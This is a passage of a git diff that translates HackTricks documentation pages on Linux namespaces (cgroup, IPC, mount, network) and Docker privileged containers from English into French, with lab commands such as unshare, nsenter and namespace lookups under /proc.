conteneur privilégié par défaut"}} ```bash # docker run --rm --privileged -it alpine sh ps -ef PID USER TIME COMMAND - 1 root 0:00 sh - 18 root 0:00 ps -ef +1 root 0:00 sh +18 root 0:00 ps -ef ``` - {{#endtab}} -{{#tab name="Inside --pid=host Container"}} - +{{#tab name="À l'intérieur du conteneur --pid=host"}} ```bash # docker run --rm --privileged --pid=host -it alpine sh ps -ef PID USER TIME COMMAND - 1 root 0:03 /sbin/init - 2 root 0:00 [kthreadd] - 3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs +1 root 0:03 /sbin/init +2 root 0:00 [kthreadd] +3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs [...] ``` - {{#endtab}} {{#endtabs}} -### User namespace +### Espace utilisateur -**By default, container engines don't utilize user namespaces, except for rootless containers**, which require them for file system mounting and using multiple UIDs. User namespaces, integral for rootless containers, cannot be disabled and significantly enhance security by restricting privileges. +**Par défaut, les moteurs de conteneurs n'utilisent pas les espaces utilisateurs, sauf pour les conteneurs sans privilèges**, qui en ont besoin pour le montage du système de fichiers et l'utilisation de plusieurs UID. Les espaces utilisateurs, essentiels pour les conteneurs sans privilèges, ne peuvent pas être désactivés et améliorent considérablement la sécurité en restreignant les privilèges. -## References +## Références - [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md index 6df879add..62250b385 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md @@ -1,44 +1,44 @@ -# Namespaces +# Espaces de noms {{#include ../../../../banners/hacktricks-training.md}} -### **PID namespace** +### **Espace de noms PID** {{#ref}} pid-namespace.md {{#endref}} -### **Mount namespace** +### **Espace de noms de montage** {{#ref}} mount-namespace.md {{#endref}} -### **Network namespace** +### **Espace de noms réseau** {{#ref}} network-namespace.md {{#endref}} -### **IPC Namespace** +### **Espace de noms IPC** {{#ref}} ipc-namespace.md {{#endref}} -### **UTS namespace** +### **Espace de noms UTS** {{#ref}} uts-namespace.md {{#endref}} -### Time Namespace +### Espace de noms temporel {{#ref}} time-namespace.md {{#endref}} -### User namespace +### Espace de noms utilisateur {{#ref}} user-namespace.md diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md index d7f4c2d65..2d96416dd 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md @@ -2,90 +2,80 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informations de base -A cgroup namespace is a Linux kernel feature that provides **isolation of cgroup hierarchies for processes running within a namespace**. Cgroups, short for **control groups**, are a kernel feature that allows organizing processes into hierarchical groups to manage and enforce **limits on system resources** like CPU, memory, and I/O. +Un cgroup namespace est une fonctionnalité du noyau Linux qui fournit **l'isolation des hiérarchies de cgroup pour les processus s'exécutant dans un namespace**. Les cgroups, abréviation de **control groups**, sont une fonctionnalité du noyau qui permet d'organiser les processus en groupes hiérarchiques pour gérer et appliquer **des limites sur les ressources système** comme le CPU, la mémoire et l'I/O. -While cgroup namespaces are not a separate namespace type like the others we discussed earlier (PID, mount, network, etc.), they are related to the concept of namespace isolation. **Cgroup namespaces virtualize the view of the cgroup hierarchy**, so that processes running within a cgroup namespace have a different view of the hierarchy compared to processes running in the host or other namespaces. +Bien que les cgroup namespaces ne soient pas un type de namespace séparé comme les autres que nous avons discutés précédemment (PID, mount, réseau, etc.), ils sont liés au concept d'isolation de namespace. **Les cgroup namespaces virtualisent la vue de la hiérarchie cgroup**, de sorte que les processus s'exécutant dans un cgroup namespace ont une vue différente de la hiérarchie par rapport aux processus s'exécutant sur l'hôte ou dans d'autres namespaces. -### How it works: +### Comment ça fonctionne : -1. When a new cgroup namespace is created, **it starts with a view of the cgroup hierarchy based on the cgroup of the creating process**. This means that processes running in the new cgroup namespace will only see a subset of the entire cgroup hierarchy, limited to the cgroup subtree rooted at the creating process's cgroup. -2. Processes within a cgroup namespace will **see their own cgroup as the root of the hierarchy**. This means that, from the perspective of processes inside the namespace, their own cgroup appears as the root, and they cannot see or access cgroups outside of their own subtree. -3. Cgroup namespaces do not directly provide isolation of resources; **they only provide isolation of the cgroup hierarchy view**. **Resource control and isolation are still enforced by the cgroup** subsystems (e.g., cpu, memory, etc.) themselves. +1. Lorsqu'un nouveau cgroup namespace est créé, **il commence avec une vue de la hiérarchie cgroup basée sur le cgroup du processus créateur**. Cela signifie que les processus s'exécutant dans le nouveau cgroup namespace ne verront qu'un sous-ensemble de l'ensemble de la hiérarchie cgroup, limité à l'arborescence cgroup enracinée au cgroup du processus créateur. +2. Les processus au sein d'un cgroup namespace **verront leur propre cgroup comme la racine de la hiérarchie**. Cela signifie que, du point de vue des processus à l'intérieur du namespace, leur propre cgroup apparaît comme la racine, et ils ne peuvent pas voir ou accéder aux cgroups en dehors de leur propre sous-arborescence. +3. Les cgroup namespaces ne fournissent pas directement d'isolation des ressources ; **ils ne fournissent que l'isolation de la vue de la hiérarchie cgroup**. **Le contrôle et l'isolation des ressources sont toujours appliqués par les sous-systèmes cgroup** (par exemple, cpu, mémoire, etc.) eux-mêmes. -For more information about CGroups check: +Pour plus d'informations sur les CGroups, consultez : {{#ref}} ../cgroups.md {{#endref}} -## Lab: +## Laboratoire : -### Create different Namespaces +### Créer différents Namespaces #### CLI - ```bash sudo unshare -C [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations sur les processus spécifiques à ce namespace**.
-Error: bash: fork: Cannot allocate memory +Erreur : bash : fork : Impossible d'allouer de la mémoire -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (identifiant de processus). Les détails clés et la solution sont décrits ci-dessous : -1. **Problem Explanation**: +1. **Explication du problème** : - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Le noyau Linux permet à un processus de créer de nouveaux namespaces en utilisant l'appel système `unshare`. Cependant, le processus qui initie la création d'un nouveau namespace PID (appelé le processus "unshare") n'entre pas dans le nouveau namespace ; seuls ses processus enfants le font. +- L'exécution de `%unshare -p /bin/bash%` démarre `/bin/bash` dans le même processus que `unshare`. Par conséquent, `/bin/bash` et ses processus enfants se trouvent dans l'espace de noms PID d'origine. +- Le premier processus enfant de `/bin/bash` dans le nouveau namespace devient PID 1. Lorsque ce processus se termine, il déclenche le nettoyage du namespace s'il n'y a pas d'autres processus, car PID 1 a le rôle spécial d'adopter les processus orphelins. Le noyau Linux désactivera alors l'allocation de PID dans ce namespace. -2. **Consequence**: +2. **Conséquence** : - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- La sortie de PID 1 dans un nouveau namespace entraîne le nettoyage du drapeau `PIDNS_HASH_ADDING`. Cela entraîne l'échec de la fonction `alloc_pid` à allouer un nouveau PID lors de la création d'un nouveau processus, produisant l'erreur "Impossible d'allouer de la mémoire". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Solution** : +- Le problème peut être résolu en utilisant l'option `-f` avec `unshare`. Cette option permet à `unshare` de forker un nouveau processus après avoir créé le nouveau namespace PID. +- L'exécution de `%unshare -fp /bin/bash%` garantit que la commande `unshare` elle-même devient PID 1 dans le nouveau namespace. `/bin/bash` et ses processus enfants sont alors en toute sécurité contenus dans ce nouveau namespace, empêchant la sortie prématurée de PID 1 et permettant une allocation normale de PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouveau namespace PID est correctement maintenu, permettant à `/bin/bash` et à ses sous-processus de fonctionner sans rencontrer l'erreur d'allocation de mémoire.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### Vérifiez dans quel espace de noms se trouve votre processus ```bash ls -l /proc/self/ns/cgroup lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]' ``` - -### Find all CGroup namespaces - +### Trouver tous les espaces de noms CGroup ```bash sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside an CGroup namespace - +### Entrez dans un espace de noms CGroup ```bash nsenter -C TARGET_PID --pid /bin/bash ``` +Aussi, vous ne pouvez **entrer dans un autre espace de noms de processus que si vous êtes root**. Et vous **ne pouvez pas** **entrer** dans un autre espace de noms **sans un descripteur** pointant vers celui-ci (comme `/proc/self/ns/cgroup`). -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/cgroup`). - -## References +## Références - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md index 14b23338a..9114dd535 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md @@ -2,83 +2,72 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informations de base -An IPC (Inter-Process Communication) namespace is a Linux kernel feature that provides **isolation** of System V IPC objects, such as message queues, shared memory segments, and semaphores. This isolation ensures that processes in **different IPC namespaces cannot directly access or modify each other's IPC objects**, providing an additional layer of security and privacy between process groups. +Un espace de noms IPC (Inter-Process Communication) est une fonctionnalité du noyau Linux qui fournit **l'isolement** des objets IPC de System V, tels que les files de messages, les segments de mémoire partagée et les sémaphores. Cet isolement garantit que les processus dans **différents espaces de noms IPC ne peuvent pas accéder directement ou modifier les objets IPC des autres**, offrant une couche supplémentaire de sécurité et de confidentialité entre les groupes de processus. -### How it works: +### Comment ça fonctionne : -1. When a new IPC namespace is created, it starts with a **completely isolated set of System V IPC objects**. This means that processes running in the new IPC namespace cannot access or interfere with the IPC objects in other namespaces or the host system by default. -2. IPC objects created within a namespace are visible and **accessible only to processes within that namespace**. Each IPC object is identified by a unique key within its namespace. Although the key may be identical in different namespaces, the objects themselves are isolated and cannot be accessed across namespaces. -3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWIPC` flag. When a process moves to a new namespace or creates one, it will start using the IPC objects associated with that namespace. +1. Lorsqu'un nouvel espace de noms IPC est créé, il commence avec un **ensemble complètement isolé d'objets IPC de System V**. Cela signifie que les processus s'exécutant dans le nouvel espace de noms IPC ne peuvent pas accéder ou interférer avec les objets IPC dans d'autres espaces de noms ou le système hôte par défaut. +2. Les objets IPC créés au sein d'un espace de noms ne sont visibles et **accessibles que par les processus de cet espace de noms**. Chaque objet IPC est identifié par une clé unique au sein de son espace de noms. Bien que la clé puisse être identique dans différents espaces de noms, les objets eux-mêmes sont isolés et ne peuvent pas être accédés à travers les espaces de noms. +3. Les processus peuvent se déplacer entre les espaces de noms en utilisant l'appel système `setns()` ou créer de nouveaux espaces de noms en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWIPC`. Lorsqu'un processus se déplace vers un nouvel espace de noms ou en crée un, il commencera à utiliser les objets IPC associés à cet espace de noms. -## Lab: +## Laboratoire : -### Create different Namespaces +### Créer différents espaces de noms #### CLI - ```bash sudo unshare -i [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations sur les processus spécifiques à ce namespace**.
-Error: bash: fork: Cannot allocate memory +Erreur : bash : fork : Impossible d'allouer de la mémoire -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (identifiant de processus). Les détails clés et la solution sont décrits ci-dessous : -1. **Problem Explanation**: +1. **Explication du problème** : - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Le noyau Linux permet à un processus de créer de nouveaux namespaces en utilisant l'appel système `unshare`. Cependant, le processus qui initie la création d'un nouveau namespace PID (appelé le processus "unshare") n'entre pas dans le nouveau namespace ; seuls ses processus enfants le font. +- L'exécution de `%unshare -p /bin/bash%` démarre `/bin/bash` dans le même processus que `unshare`. Par conséquent, `/bin/bash` et ses processus enfants se trouvent dans le namespace PID d'origine. +- Le premier processus enfant de `/bin/bash` dans le nouveau namespace devient PID 1. Lorsque ce processus se termine, il déclenche le nettoyage du namespace s'il n'y a pas d'autres processus, car PID 1 a le rôle spécial d'adopter les processus orphelins. Le noyau Linux désactivera alors l'allocation de PID dans ce namespace. -2. **Consequence**: +2. **Conséquence** : - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- La sortie de PID 1 dans un nouveau namespace entraîne le nettoyage du drapeau `PIDNS_HASH_ADDING`. Cela entraîne l'échec de la fonction `alloc_pid` à allouer un nouveau PID lors de la création d'un nouveau processus, produisant l'erreur "Impossible d'allouer de la mémoire". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Solution** : +- Le problème peut être résolu en utilisant l'option `-f` avec `unshare`. Cette option permet à `unshare` de forker un nouveau processus après avoir créé le nouveau namespace PID. +- L'exécution de `%unshare -fp /bin/bash%` garantit que la commande `unshare` elle-même devient PID 1 dans le nouveau namespace. `/bin/bash` et ses processus enfants sont alors en toute sécurité contenus dans ce nouveau namespace, empêchant la sortie prématurée de PID 1 et permettant une allocation normale de PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouveau namespace PID est correctement maintenu, permettant à `/bin/bash` et à ses sous-processus de fonctionner sans rencontrer l'erreur d'allocation de mémoire.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### Vérifiez dans quel espace de noms se trouve votre processus ```bash ls -l /proc/self/ns/ipc lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]' ``` - -### Find all IPC namespaces - +### Trouver tous les espaces de noms IPC ```bash sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside an IPC namespace - +### Entrer dans un espace de noms IPC ```bash nsenter -i TARGET_PID --pid /bin/bash ``` +Aussi, vous ne pouvez **entrer dans un autre espace de noms de processus que si vous êtes root**. Et vous **ne pouvez pas** **entrer** dans un autre espace de noms **sans un descripteur** pointant vers celui-ci (comme `/proc/self/ns/net`). -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`). - -### Create IPC object - +### Créer un objet IPC ```bash # Container sudo unshare -i /bin/bash @@ -93,8 +82,7 @@ key shmid owner perms bytes nattch status # From the host ipcs -m # Nothing is seen ``` - -## References +## Références - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md index 7cdc2cf0d..a342fbe7d 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md @@ -2,70 +2,63 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informations de base -A mount namespace is a Linux kernel feature that provides isolation of the file system mount points seen by a group of processes. Each mount namespace has its own set of file system mount points, and **changes to the mount points in one namespace do not affect other namespaces**. This means that processes running in different mount namespaces can have different views of the file system hierarchy. +Un mount namespace est une fonctionnalité du noyau Linux qui fournit une isolation des points de montage du système de fichiers vus par un groupe de processus. Chaque mount namespace a son propre ensemble de points de montage du système de fichiers, et **les modifications des points de montage dans un namespace n'affectent pas les autres namespaces**. Cela signifie que les processus s'exécutant dans différents mount namespaces peuvent avoir des vues différentes de la hiérarchie du système de fichiers. -Mount namespaces are particularly useful in containerization, where each container should have its own file system and configuration, isolated from other containers and the host system. +Les mount namespaces sont particulièrement utiles dans la conteneurisation, où chaque conteneur doit avoir son propre système de fichiers et sa propre configuration, isolés des autres conteneurs et du système hôte. -### How it works: +### Comment ça fonctionne : -1. When a new mount namespace is created, it is initialized with a **copy of the mount points from its parent namespace**. This means that, at creation, the new namespace shares the same view of the file system as its parent. However, any subsequent changes to the mount points within the namespace will not affect the parent or other namespaces. -2. When a process modifies a mount point within its namespace, such as mounting or unmounting a file system, the **change is local to that namespace** and does not affect other namespaces. This allows each namespace to have its own independent file system hierarchy. -3. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNS` flag. When a process moves to a new namespace or creates one, it will start using the mount points associated with that namespace. -4. **File descriptors and inodes are shared across namespaces**, meaning that if a process in one namespace has an open file descriptor pointing to a file, it can **pass that file descriptor** to a process in another namespace, and **both processes will access the same file**. However, the file's path may not be the same in both namespaces due to differences in mount points. +1. Lorsqu'un nouveau mount namespace est créé, il est initialisé avec une **copie des points de montage de son namespace parent**. Cela signifie qu'à la création, le nouveau namespace partage la même vue du système de fichiers que son parent. Cependant, toute modification ultérieure des points de montage au sein du namespace n'affectera pas le parent ou d'autres namespaces. +2. Lorsqu'un processus modifie un point de montage dans son namespace, comme monter ou démonter un système de fichiers, le **changement est local à ce namespace** et n'affecte pas les autres namespaces. Cela permet à chaque namespace d'avoir sa propre hiérarchie de système de fichiers indépendante. +3. Les processus peuvent se déplacer entre les namespaces en utilisant l'appel système `setns()`, ou créer de nouveaux namespaces en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWNS`. Lorsqu'un processus se déplace vers un nouveau namespace ou en crée un, il commencera à utiliser les points de montage associés à ce namespace. +4. **Les descripteurs de fichiers et les inodes sont partagés entre les namespaces**, ce qui signifie que si un processus dans un namespace a un descripteur de fichier ouvert pointant vers un fichier, il peut **transmettre ce descripteur de fichier** à un processus dans un autre namespace, et **les deux processus accéderont au même fichier**. Cependant, le chemin du fichier peut ne pas être le même dans les deux namespaces en raison des différences dans les points de montage. -## Lab: +## Lab : -### Create different Namespaces +### Créer différents Namespaces #### CLI - ```bash sudo unshare -m [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations sur les processus spécifiques à ce namespace**.
-Error: bash: fork: Cannot allocate memory +Erreur : bash : fork : Impossible d'allouer de la mémoire -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Lorsque `unshare` est exécuté sans l'option `-f`, une erreur se produit en raison de la façon dont Linux gère les nouveaux namespaces PID (identifiant de processus). Les détails clés et la solution sont décrits ci-dessous : -1. **Problem Explanation**: +1. **Explication du problème** : - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Le noyau Linux permet à un processus de créer de nouveaux namespaces en utilisant l'appel système `unshare`. Cependant, le processus qui initie la création d'un nouveau namespace PID (appelé le processus "unshare") n'entre pas dans le nouveau namespace ; seuls ses processus enfants le font. +- L'exécution de `%unshare -p /bin/bash%` démarre `/bin/bash` dans le même processus que `unshare`. Par conséquent, `/bin/bash` et ses processus enfants se trouvent dans le namespace PID d'origine. +- Le premier processus enfant de `/bin/bash` dans le nouveau namespace devient PID 1. Lorsque ce processus se termine, il déclenche le nettoyage du namespace s'il n'y a pas d'autres processus, car PID 1 a le rôle spécial d'adopter les processus orphelins. Le noyau Linux désactivera alors l'allocation de PID dans ce namespace. -2. **Consequence**: +2. **Conséquence** : - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- La sortie de PID 1 dans un nouveau namespace entraîne le nettoyage du drapeau `PIDNS_HASH_ADDING`. Cela entraîne l'échec de la fonction `alloc_pid` à allouer un nouveau PID lors de la création d'un nouveau processus, produisant l'erreur "Impossible d'allouer de la mémoire". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Solution** : +- Le problème peut être résolu en utilisant l'option `-f` avec `unshare`. Cette option permet à `unshare` de forker un nouveau processus après avoir créé le nouveau namespace PID. +- L'exécution de `%unshare -fp /bin/bash%` garantit que la commande `unshare` elle-même devient PID 1 dans le nouveau namespace. `/bin/bash` et ses processus enfants sont alors en toute sécurité contenus dans ce nouveau namespace, empêchant la sortie prématurée de PID 1 et permettant une allocation normale de PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouveau namespace PID est correctement maintenu, permettant à `/bin/bash` et à ses sous-processus de fonctionner sans rencontrer l'erreur d'allocation de mémoire.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### Vérifiez dans quel espace de noms se trouve votre processus ```bash ls -l /proc/self/ns/mnt lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]' ``` - -### Find all Mount namespaces - +### Trouver tous les espaces de noms de montage ```bash sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace @@ -75,19 +68,15 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | g ```bash findmnt ``` - -### Enter inside a Mount namespace - +### Entrer dans un espace de noms de montage ```bash nsenter -m TARGET_PID --pid /bin/bash ``` +Aussi, vous ne pouvez **entrer dans un autre espace de noms de processus que si vous êtes root**. Et vous **ne pouvez pas** **entrer** dans un autre espace de noms **sans un descripteur** pointant vers celui-ci (comme `/proc/self/ns/mnt`). -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/mnt`). - -Because new mounts are only accessible within the namespace it's possible that a namespace contains sensitive information that can only be accessible from it. - -### Mount something +Parce que de nouveaux montages ne sont accessibles que dans l'espace de noms, il est possible qu'un espace de noms contienne des informations sensibles qui ne peuvent être accessibles que depuis celui-ci. +### Monter quelque chose ```bash # Generate new mount ns unshare -m /bin/bash @@ -127,8 +116,7 @@ systemd-private-3d87c249e8a84451994ad692609cd4b6-systemd-timesyncd.service-FAnDq vmware-root_662-2689143848 ``` - -## References +## Références - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) - [https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux](https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md index 8ab89ce7f..82c367490 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md @@ -2,85 +2,75 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informations de base -A network namespace is a Linux kernel feature that provides isolation of the network stack, allowing **each network namespace to have its own independent network configuration**, interfaces, IP addresses, routing tables, and firewall rules. This isolation is useful in various scenarios, such as containerization, where each container should have its own network configuration, independent of other containers and the host system. +Un espace de noms réseau est une fonctionnalité du noyau Linux qui fournit une isolation de la pile réseau, permettant à **chaque espace de noms réseau d'avoir sa propre configuration réseau indépendante**, interfaces, adresses IP, tables de routage et règles de pare-feu. Cette isolation est utile dans divers scénarios, tels que la conteneurisation, où chaque conteneur doit avoir sa propre configuration réseau, indépendante des autres conteneurs et du système hôte. -### How it works: +### Comment ça fonctionne : -1. When a new network namespace is created, it starts with a **completely isolated network stack**, with **no network interfaces** except for the loopback interface (lo). This means that processes running in the new network namespace cannot communicate with processes in other namespaces or the host system by default. -2. **Virtual network interfaces**, such as veth pairs, can be created and moved between network namespaces. This allows for establishing network connectivity between namespaces or between a namespace and the host system. For example, one end of a veth pair can be placed in a container's network namespace, and the other end can be connected to a **bridge** or another network interface in the host namespace, providing network connectivity to the container. -3. Network interfaces within a namespace can have their **own IP addresses, routing tables, and firewall rules**, independent of other namespaces. This allows processes in different network namespaces to have different network configurations and operate as if they are running on separate networked systems. -4. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNET` flag. When a process moves to a new namespace or creates one, it will start using the network configuration and interfaces associated with that namespace. +1. Lorsqu'un nouvel espace de noms réseau est créé, il commence avec une **pile réseau complètement isolée**, sans **interfaces réseau** sauf pour l'interface de boucle (lo). Cela signifie que les processus s'exécutant dans le nouvel espace de noms réseau ne peuvent pas communiquer avec les processus dans d'autres espaces de noms ou le système hôte par défaut. +2. **Interfaces réseau virtuelles**, telles que les paires veth, peuvent être créées et déplacées entre les espaces de noms réseau. Cela permet d'établir une connectivité réseau entre les espaces de noms ou entre un espace de noms et le système hôte. Par exemple, une extrémité d'une paire veth peut être placée dans l'espace de noms réseau d'un conteneur, et l'autre extrémité peut être connectée à un **pont** ou une autre interface réseau dans l'espace de noms hôte, fournissant une connectivité réseau au conteneur. +3. Les interfaces réseau au sein d'un espace de noms peuvent avoir leurs **propres adresses IP, tables de routage et règles de pare-feu**, indépendamment des autres espaces de noms. Cela permet aux processus dans différents espaces de noms réseau d'avoir des configurations réseau différentes et de fonctionner comme s'ils s'exécutaient sur des systèmes réseau séparés. +4. 